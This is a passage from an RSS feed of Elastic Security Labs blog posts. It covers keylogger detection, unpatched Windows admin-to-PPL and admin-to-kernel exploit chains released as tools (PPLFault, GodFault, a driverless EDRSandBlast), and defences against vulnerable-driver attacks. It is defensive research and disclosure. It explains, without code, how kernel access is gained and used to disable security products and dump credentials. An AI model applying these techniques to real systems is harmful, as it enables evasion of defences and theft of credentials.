<p>In this article, we introduced the keylogger and keylogging detection features for Windows environments that were added starting from Elastic Defend 8.12. Specifically, by monitoring calls to representative Windows APIs related to keylogging, we have integrated a behavioral keylogging detection approach that does not rely on signatures. To ensure accuracy and reduce the false positive rate, we have created this feature and new rules based on months of research.</p>
<p>In addition to keylogging-related APIs, Elastic Defend also monitors <a href="https://www.elastic.co/security-labs/doubling-down-etw-callstacks">other APIs commonly used by malicious actors, such as those for memory manipulation</a>, providing multi-layered protection. If you are interested in Elastic Security and Elastic Defend, please check out the <a href="https://www.elastic.co/security">product page</a> and <a href="https://www.elastic.co/videos/intro-elastic-security">documentation</a>.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/protecting-your-devices-from-information-theft-keylogger-protection</link>
    <guid isPermaLink="false">protecting-your-devices-from-information-theft-keylogger-protection</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Asuka Nakajima]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd91d559e47ec132c/6a8f2918a1b20be0a1872562/Security_Labs_Images_10.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 30 May 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Forget vulnerable drivers - Admin is all you need]]></title>
    <description><![CDATA[Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique whereby a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Bring Your Own Vulnerable Driver (BYOVD) is an increasingly popular attacker technique wherein a threat actor brings a known-vulnerable signed driver alongside their malware, loads it into the kernel, then exploits it to perform some action within the kernel that they would not otherwise be able to do. After achieving kernel access, they may tamper with or disable security software, dump otherwise inaccessible credentials, or modify operating system behavior to hide their presence. <a href="https://twitter.com/dez_">Joe Desimone</a> and I covered this in-depth, among other <a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf">kernel mode threats</a>, at Black Hat USA 2018. Employed by advanced threat actors for over a decade, BYOVD is becoming increasingly common in ransomware and commodity malware.</p>
<p><a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/kernel-mode-code-signing-policy--windows-vista-and-later-">Driver Signing Enforcement</a> (DSE), first deployed in 2007 by Windows Vista x64, was the first time that Microsoft attempted to limit the power of admins. With DSE in place, admins could no longer instantly load any code into the kernel. Admin restrictions grew over time with the rollout of Boot Guard, <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-secure-boot">Secure Boot</a>, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Trusted Boot</a> to protect the boot chain from admin malware, which could previously install their own boot loaders / bootkits.</p>
<p>Further limiting admins' power, Microsoft recently deployed the <a href="https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist">Vulnerable Driver Blocklist</a> by default, starting in Windows 11 22H2. This is a move in the right direction, making Windows 11 more secure by default. Unfortunately, the blocklist's deployment model can be slow to adapt to new threats, with updates automatically deployed typically only once or twice a year. Users can manually update their blocklists, but such interventions bring us out of “secure by default” territory.</p>
<h2 id="securityboundaries">Security boundaries</h2>
<p>When determining which vulnerabilities to fix, the Microsoft Security Response Center (<a href="https://msrc.microsoft.com/">MSRC</a>) uses the concept of a security boundary, which it <a href="https://web.archive.org/web/20230506125554/https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">defines</a> as follows:</p>
<blockquote>
  <p>A security boundary provides a logical separation between the code and data of security domains with different levels of trust. For example, the separation between kernel mode and user mode is a classic and straightforward security boundary.</p>
</blockquote>
<p>Based on this definition, one might be inclined to think that malware running in user mode should not be able to modify kernel memory. The boundary is “straightforward” after all. Logically, any violation of that boundary should be met with a remedial action such as a patch or blocklist update.</p>
<p>Unfortunately, the situation gets murkier from here. That document later states that administrator-to-kernel is not a security boundary, with the following explanation:</p>
<blockquote>
  <p>Administrative processes and users are considered part of the Trusted Computing Base (TCB) for Windows and are therefore not strong [sic] isolated from the kernel boundary. </p>
</blockquote>
<p>At this point, we have two seemingly conflicting viewpoints. On one hand, MSRC states that admin-to-kernel is an indefensible boundary and not worth fixing. On the other hand, Microsoft is attempting to defend this boundary with mechanisms such as Driver Signing Enforcement, Secure Boot, and the Vulnerable Driver Blocklist. Because the defense is incomplete, MSRC instead calls them “defense-in-depth security features.”</p>
<p>MSRC similarly does not consider admin-to-<a href="https://www.elastic.co/blog/protecting-windows-protected-processes">PPL</a> a security boundary, instead classifying it as a defense-in-depth security feature. More on this in the next section.</p>
<p>The rest of this article will refer to MSRC and Microsoft separately. While MSRC is part of Microsoft, Microsoft is a much larger entity than MSRC; they shouldn't be equated.</p>
<h2 id="exploitingvulnerabilities">Exploiting vulnerabilities</h2>
<p>In September 2022, I filed VULN-074311 with MSRC, notifying them of two <a href="https://www.trendmicro.com/vinfo/us/security/definition/zero-day-vulnerability">zero-day</a> vulnerabilities in Windows: one admin-to-PPL and one PPL-to-kernel. I provided source code for both exploits. The response concisely indicated that they understood the vulnerabilities and declined to take any further action, as stated below:</p>
<blockquote>
  <p>The research describes a multi-step attack that leverages a PPL bypass to gain kernel code execution. Note that all of the proposed attacks do require administrative privileges to perform and thus the reported issue does not meet our bar for immediate servicing. We do not expect any further action and will proceed with closing out the case.</p>
</blockquote>
<p>In this parlance, “servicing” means “patching.” Their response is consistent with the aforementioned policy and their <a href="https://github.com/ionescu007/r0ak/tree/919338f4e88036c6a46a3a839f409efe38852415#faq">historical treatment</a> of the admin-to-kernel boundary. Their behavior is consistent too - it's been over 11 months and they still haven't patched either vulnerability. I find it fascinating that Microsoft is willing to block drivers that can modify kernel memory but MSRC is unwilling to service vulnerabilities that can do the same.</p>
<p>When I announced my Black Hat Asia 2023 talk, <a href="https://www.blackhat.com/asia-23/briefings/schedule/#ppldump-is-dead-long-live-ppldump-31052">PPLdump Is Dead. Long Live PPLdump</a>, on Twitter five months after the MSRC report, the Windows Defender team quickly reached out to learn more. It seems that MSRC closed the case without telling the Defender team, whose products rely on PPL to protect <a href="https://www.ghacks.net/2019/08/03/windows-defender-has-a-market-share-of-50/">hundreds of millions of Windows machines</a>, about a PPL bypass. This type of miscommunication mustn't be allowed to continue.</p>
<h2 id="turnkeytooling">Turnkey tooling</h2>
<p><a href="https://github.com/wavestone-cdt/EDRSandblast">EDRSandBlast</a> is a tool that weaponizes vulnerable drivers to bypass AV &amp; EDR software. It can modify kernel memory to remove hooks installed by AV &amp; EDR, temporarily or permanently blinding them to malicious activity on the system.</p>
<p>As I discussed in my Black Hat Asia talk, MSRC has de-facto shown that they are unwilling to service admin-to-PPL and admin-to-kernel vulnerabilities and that it requires the existence of <a href="https://twitter.com/tiraniddo/status/1551966781761146880?s=20">turnkey tooling</a> on GitHub to motivate Microsoft to action. This led me to release the admin-to-PPL exploit <a href="https://github.com/gabriellandau/PPLFault">PPLFault</a> and admin-to-kernel exploit chain <a href="https://github.com/gabriellandau/PPLFault#godfault">GodFault</a> as easy-to-use tools on GitHub. For brevity, below we'll call them “PPL vulnerability” and “kernel vulnerability”, respectively.</p>
<p>In this same “turnkey tooling” spirit, to highlight the inconsistency of blocking known-vulnerable drivers while simultaneously refusing to patch admin-to-kernel exploit chains, I am <a href="https://github.com/gabriellandau/EDRSandblast-GodFault">releasing</a> a version of EDRSandBlast that integrates PPLFault to demonstrate the same result, sans vulnerable drivers. You can see it <a href="https://gist.github.com/gabriellandau/418cde5d194a5e7adff641f2164cd1d7#file-edrsandblast-godfault-txt-L21-L27">here</a> disabling the Windows Defender driver. My goal in releasing this is to motivate MSRC to treat both PPL and kernel vulnerabilities with greater urgency.</p>
<h2 id="mitigation">Mitigation</h2>
<p>I released a small kernel driver alongside PPLFault and GodFault called <a href="https://github.com/gabriellandau/PPLFault/tree/7d5543eb6f9e4fd8d8380cbf358dab2f159703af/NoFault">NoFault</a> which breaks the PPL exploit. Until Windows is fixed, anti-malware vendors can employ this code to mitigate the PPL vulnerability. We've incorporated NoFault's protection into the latest version of Elastic Endpoint/Defend - please update to 8.9.0+ if you haven't already. One comprehensive fix could be to have the memory manager enforce page hashes for all executable images loaded into PPL, a feature <a href="https://twitter.com/DavidLinsley11/status/1190810926762450944?s=20">already employed</a> for full Protected Processes.</p>
<p>GodFault is not the first tool to exploit the kernel vulnerability. <a href="https://github.com/realoriginal/angryorchard">ANGRYORCHARD</a> first used it with the now-patched <a href="https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html">KnownDLLs PPL vulnerability</a>. The PPL vulnerability has since been fixed, but the kernel one was not.  I was able to easily reuse the kernel vulnerability in GodFault - it's only a <a href="https://github.com/gabriellandau/PPLFault/blob/da270ab29d4f02e8bd2dd525f1c85979ded3df58/GMShellcode/GMShellcode.c#L177-L192">few lines of code</a>. If this is not patched, then any future PPL exploits will immediately be chainable to the kernel. Note that NoFault breaks the kernel exploit chain by preventing its requisite PPL code execution, but does not fix the kernel vulnerability itself.</p>
<h2 id="discussion">Discussion</h2>
<p>Making EDRSandBlast driverless is just one example of the things you can do with such exploits. Admin-to-kernel exploits enable a whole menu of malware capabilities that are normally impossible from user mode, including:</p>
<ul>
<li>Disable kernel mode telemetry including process, thread, object manager, filesystem, and registry callbacks. EDRSandBlast does some of these.</li>
<li>Disable kernel ETW loggers</li>
<li>Terminate and/or inject malware into <a href="https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">PPL anti-malware processes</a></li>
<li>Bypass LSA RunAsPPL to dump credentials or tamper with Credential Guard</li>
<li>Read/write the memory of shielded VM worker processes, which <a href="https://learn.microsoft.com/en-us/windows-server/security/guarded-fabric-shielded-vm/guarded-fabric-and-shielded-vms#what-are-the-types-of-virtual-machines-that-a-guarded-fabric-can-run">run as PPL</a></li>
<li>Run malware with greater privilege than anti-malware, such that it can't be scanned or terminated from user mode</li>
<li>Implement rootkit behavior such as hiding processes, files, and registry keys</li>
<li>Gain full read-write access to physical memory</li>
</ul>
<p>Such kernel-driven capabilities, often enabled by BYOVD, are <a href="https://www.bleepingcomputer.com/news/security/blackbyte-ransomware-abuses-legit-driver-to-disable-security-products/">regularly</a> <a href="https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html">used</a> <a href="https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/">by</a> <a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf">criminals</a> <a href="https://www.bleepingcomputer.com/news/security/ransomware-gangs-abuse-process-explorer-driver-to-kill-security-software/">to</a> <a href="https://thehackernews.com/2023/04/ransomware-hackers-using-aukill-tool-to.html">defeat</a> <a href="https://cybernews.com/security/bring-your-own-vulnerable-driver-attack/">and</a> <a href="https://www.techspot.com/news/95781-hackers-use-genshin-impact-anti-cheat-software-ransomware.html">degrade</a> <a href="https://arstechnica.com/information-technology/2020/02/hackable-code-trusted-by-windows-lets-ransomware-burrow-deep-into-targeted-machines/">security</a> <a href="https://www.sentinelone.com/labs/malvirt-net-virtualization-thrives-in-malvertising-attacks/">products</a>, empowering them to hurt people and businesses. PPL and kernel vulnerabilities enable these same capabilities, so MSRC needs to service them proactively before threat actors abuse them, not after.</p>
<p>I don't want to understate the difficulty of the problem - defending the kernel against admins is hard and will require continual effort as new bypasses are found. It will not be solved, but rather a difficult and ongoing arms race. Fortunately, Microsoft recently adopted a new philosophy of “<a href="https://youtu.be/8T6ClX-y2AE?t=244">no longer avoiding the hard things</a>” (timestamped link). Addressing these types of vulnerabilities is a “hard thing” affecting Windows security today that Microsoft can do something about while simultaneously moving towards their vision of an <a href="https://www.bigtechwire.com/2023/04/20/microsoft-admin-less-support-is-coming-in-a-future-windows-release/">Adminless future</a>. They're a large well-funded company filled with smart people, capable of addressing multiple issues at once.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Microsoft created the Vulnerable Driver Blocklist to stop admins from tampering with the kernel, but they've done nothing about an admin-to-kernel exploit chain that was reported over 11 months ago. By <a href="https://github.com/gabriellandau/EDRSandblast-GodFault">removing the vulnerable driver requirement from EDRSandBlast</a> via <a href="https://github.com/gabriellandau/PPLFault#godfault">GodFault</a>, I hope to prove that admin-to-kernel exploits can be just as dangerous as vulnerable drivers and that MSRC needs to take them seriously. Given Windows 11's <a href="https://www.youtube.com/watch?v=8T6ClX-y2AE">goal of default security</a> and the fact that the Vulnerable Driver Blocklist is now enabled by default, MSRC needs to reconsider its policy of indifference towards PPL and kernel exploits.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/forget-vulnerable-drivers-admin-is-all-you-need</link>
    <guid isPermaLink="false">forget-vulnerable-drivers-admin-is-all-you-need</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Gabriel Landau]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc95cdc251de1e387/6a7d808096b5a60c1c87862f/photo-edited-09@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Fri, 25 Aug 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Stopping Vulnerable Driver Attacks]]></title>
    <description><![CDATA[This post includes a primer on kernel mode attacks, along with Elastic’s recommendations for securing users from kernel attacks leveraging vulnerable drivers.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Ransomware actors are leveraging vulnerable drivers to tamper with endpoint security products.</li>
<li>Elastic Security <a href="https://github.com/elastic/protections-artifacts/search?q=VulnDriver">released</a> 65 YARA rules to detect vulnerable driver abuse.</li>
<li>Elastic Endpoint (8.3+) protects users from this threat.</li>
</ul>
<h2 id="background">Background</h2>
<p>In 2018, <a href="https://twitter.com/GabrielLandau">Gabriel Landau</a> and <a href="https://twitter.com/dez_">Joe Desimone</a> presented a <a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Desimone-Kernel-Mode-Threats-and-Practical-Defenses.pdf">talk</a> at Black Hat covering the evolution of kernel mode threats on Windows. The most concerning trend was towards leveraging known good but vulnerable drivers to gain kernel mode execution. We showed this was practical, even with hypervisor mode integrity protection (<a href="https://docs.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-hvci-enablement">HVCI</a>) and Windows Hardware Quality Labs (<a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-release-signature">WHQL</a>) signing requirement enabled. At the time, the risk to everyday users was relatively low, as these techniques were mostly leveraged by advanced state actors and top red teams.</p>
<p>Fast forward to 2022, and attacks leveraging vulnerable drivers are a growing concern due to a <a href="https://github.com/hfiref0x/KDU">proliferation</a> of open source <a href="https://github.com/br-sn/CheekyBlinder">tools</a> to perform these <a href="https://github.com/Cr4sh/KernelForge">attacks</a>. Vulnerable drivers have now been <a href="https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/">used by ransomware</a> to terminate security software before encrypting the system. Organizations can reduce their risk by limiting administrative user permissions. However, it is also imperative for security vendors to protect the user-to-kernel boundary because once an attacker can execute code in the kernel, security tools can no longer effectively protect the host. Kernel access gives attackers free rein to tamper or terminate endpoint security products or inject code into protected processes.</p>
<p>This post includes a primer on kernel mode attacks, along with Elastic’s recommendations for securing users from kernel attacks leveraging vulnerable drivers.</p>
<h2 id="attackflow">Attack flow</h2>
<p>There are a number of flaws in drivers that can allow attackers to gain kernel mode access to fully compromise the system and remain undetected. Some of the <a href="https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/">most common</a> flaws include granting user mode processes write access to virtual memory, physical memory, or <a href="https://en.wikipedia.org/wiki/Model-specific_register">model-specific registers</a> (MSR). Classic buffer overflows and missing bounds checks are also common.</p>
<p>A less common driver flaw is unrestricted <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/312732-physmeme-handle-device-physicalmemory-door-kernel-land-bypasses.html#post2315458">handle duplication</a>. While this may seem like innocuous functionality at first glance, handle duplication can be leveraged to gain full kernel code execution by user mode processes. For example, the latest <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer">Process Explorer</a> driver by Microsoft exposes <a href="https://github.com/Yaxser/Backstab">such a function</a>.</p>
<p>An attacker can leverage this vulnerability to duplicate a <a href="https://www.unknowncheats.me/forum/anti-cheat-bypass/312732-physmeme-handle-device-physicalmemory-door-kernel-land-bypasses.html#post2315458">sensitive handle</a> to raw physical memory present in the System (PID 4) process.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb4a3be5cd83fd667/6a7d8487b4377012a94d3fbe/image1.jpg" alt="Handle to Physical Memory in the System process" title="Handle to Physical Memory in the System process" /></p>
<p>After obtaining <a href="http://publications.alex-ionescu.com/Recon/ReconBru%202017%20-%20Getting%20Physical%20with%20USB%20Type-C,%20Windows%2010%20RAM%20Forensics%20and%20UEFI%20Attacks.pdf">the cr3 value</a>, the attacker can walk the page tables to convert virtual kernel addresses to their associated physical addresses. This grants an arbitrary virtual read/write primitive, which attackers can leverage to easily tamper with kernel data structures or execute arbitrary kernel code. On HVCI-enabled systems, thread control flow can be hijacked to execute arbitrary kernel functions as shown below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbd4e629282845d20/6a7d848ac2cc0961b82466c7/image3.jpg" alt="Hijacking Threat Flow Control" title="Hijacking Threat Flow Control" /></p>
<p>We reported this issue to Microsoft in the vulnerable driver <a href="https://www.microsoft.com/en-us/wdsi/driversubmission">submission portal</a> on July 26, but as of this writing have not received a response. We hope Microsoft will consider this a serious security issue worth addressing. Ideally, they will release a fixed version without the vulnerable <a href="https://docs.microsoft.com/en-us/windows/win32/devio/device-input-and-output-control-ioctl-">IOCTLs</a> and include it in the default HVCI blocklist. This would be consistent with the <a href="https://github.com/MicrosoftDocs/windows-itpro-docs/blob/ce56a2f15015e07bf35cd05ce3299340d16e759a/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md?plain=1#L391">blocking</a> of the ProcessHacker (now known as <a href="https://github.com/winsiderss/systeminformer">System Informer</a>) driver for the <a href="https://www.unknowncheats.me/forum/downloads.php?do=file&amp;id=25441">same flaw.</a></p>
<h2 id="blocklisting">Blocklisting</h2>
<p>Blocklisting prevents known vulnerable drivers from loading on a system, and is a great first step to the vulnerable driver problem. Blocklisting can raise the cost of kernel attacks to levels out of reach for some criminal groups, while maintaining low false positive rates. The downside is it does not stop more <a href="https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/">advanced groups</a>, which can identify new, previously-unknown, vulnerable drivers.</p>
<p>Microsoft maintains a <a href="https://github.com/MicrosoftDocs/windows-itpro-docs/blob/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules.md">catalog</a> of known exploited or malicious drivers, which should be a minimum baseline. This catalog consists of rules using various combinations of <a href="https://reversea.me/index.php/authenticode-i-understanding-windows-authenticode/">Authenticode</a> hash, certificate hash (also known as <a href="https://www.rfc-editor.org/rfc/rfc5280#section-4.1">TBS</a>), internal file name, and version. The catalog is intended to be used by Windows Defender Application Control (<a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/wdac-and-applocker-overview">WDAC</a>). We used this catalog as a starting point for a more comprehensive list using the <a href="https://virustotal.github.io/yara/">YARA</a> community standard.</p>
<p>To expand on the existing list of known vulnerable drivers, we pivoted through VirusTotal data with known vulnerable import hashes and other metadata. We also combed through public attack tooling to identify additional vulnerable drivers. As common practice for Elastic Security, we made our <a href="https://github.com/elastic/protections-artifacts/search?q=VulnDriver">blocklist</a> available to the community. In Elastic <a href="https://www.elastic.co/security/endpoint-security">Endpoint Security</a> version 8.3 and newer, all drivers are validated against the blocklist in-line before they are allowed to load onto the system (shown below).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta7bd8387b91f8c9a/6a7d848d96b5a6adf1878692/image6.jpg" alt="enter image description here" title="enter image description here" /></p>
<h2 id="allowlisting">Allowlisting</h2>
<p>One of the most robust defenses against this driver threat is to only allow the combination of driver signer, internal file name, version, and/or hashes, which are known to be in use. We recommend organizations be as strict as feasible. For example, do not blanket trust all <a href="https://docs.microsoft.com/en-us/windows-hardware/drivers/install/whql-test-signature-program">WHQL</a> signed drivers. This is the classic application control method, albeit focusing on drivers. An organization’s diversity of drivers should be more manageable than the entirety of user mode applications. Windows Defender Application Control (<a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/wdac-and-applocker-overview">WDAC</a>) is a powerful built-in feature that can be configured this way. However, the learning curve and maintenance costs may still be too high for organizations without well-staffed security teams. To reap most of the benefits of the allowlisting approach, but reduce the cost of implementation to the users (ideally to blocklisting levels), we recommend two approaches in tandem: behavior control and alert on first seen.</p>
<h2 id="behaviorcontrol">Behavior control</h2>
<p>The concept behind behavior control is to produce a more manageable set of allowlistable behavior choke points that can be tuned for high confidence. For example, we can create a behavior control around which applications are allowed to write drivers to disk. This may start with a relatively loose and simple rule:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt959282f32a6b11b6/6a7d84901967ea957e32d8f2/image2.jpg" alt="Example EQL Query" title="Example EQL Query" /></p>
<p>From there, we can allowlist the benign applications that are known to exhibit this behavior. Then we receive and triage hits, tune the rule until it becomes high confidence, and then ship as part of our <a href="https://www.elastic.co/blog/whats-new-elastic-security-7-15-0">malicious behavior protection</a>. Elastic SIEM users can use the same technique to <a href="https://www.elastic.co/guide/en/security/current/rules-ui-create.html">create custom</a> Detection Engine <a href="https://github.com/elastic/detection-rules">rules</a> tuned specifically for their environment.</p>
<h2 id="firstseen">First seen</h2>
<p>Elastic Security in 8.4 adds another powerful tool that can be used to identify suspicious drivers. This is the <a href="https://www.elastic.co/guide/en/security/8.4/rules-ui-create.html#create-new-terms-rule">“New Terms” rule type</a>, which can be used to create an alert when a term (driver hash, signer, version, internal file name, etc) is observed for the first time.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb600fa0f98cbb7a9/6a7d849277b034d1aa3fc69d/image5.jpg" alt="First Seen" title="First Seen" /></p>
<p>This empowers security teams to quickly surface unusual drivers the first time they’re seen in their environment. This supports a detection opportunity for even previously unknown vulnerable drivers or other driver-based adversary tradecraft.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt55d313c35d84298c/6a7d8495b43770fa584d3fc2/image4.jpg" alt="Visualizing It" title="Visualizing It" /></p>
<h2 id="conclusion">Conclusion</h2>
<p>Vulnerable driver exploitation, once relegated to advanced adversaries, has now proliferated to the point of being used in ransomware attacks. The time for the security community to come together and act on this problem is now. We can start raising the cost by collaborating on blocklists as a community. We should also investigate additional detection strategies such as behavior control and anomaly detection to raise the cost further without requiring significant security expertise or resources to achieve.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/stopping-vulnerable-driver-attacks</link>
    <guid isPermaLink="false">stopping-vulnerable-driver-attacks</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Joe Desimone]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2865018dff7a2568/6a7d84982f00b2538aefbf3a/blog-thumb-clock-gears.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
  </item>
  </channel>
</rss>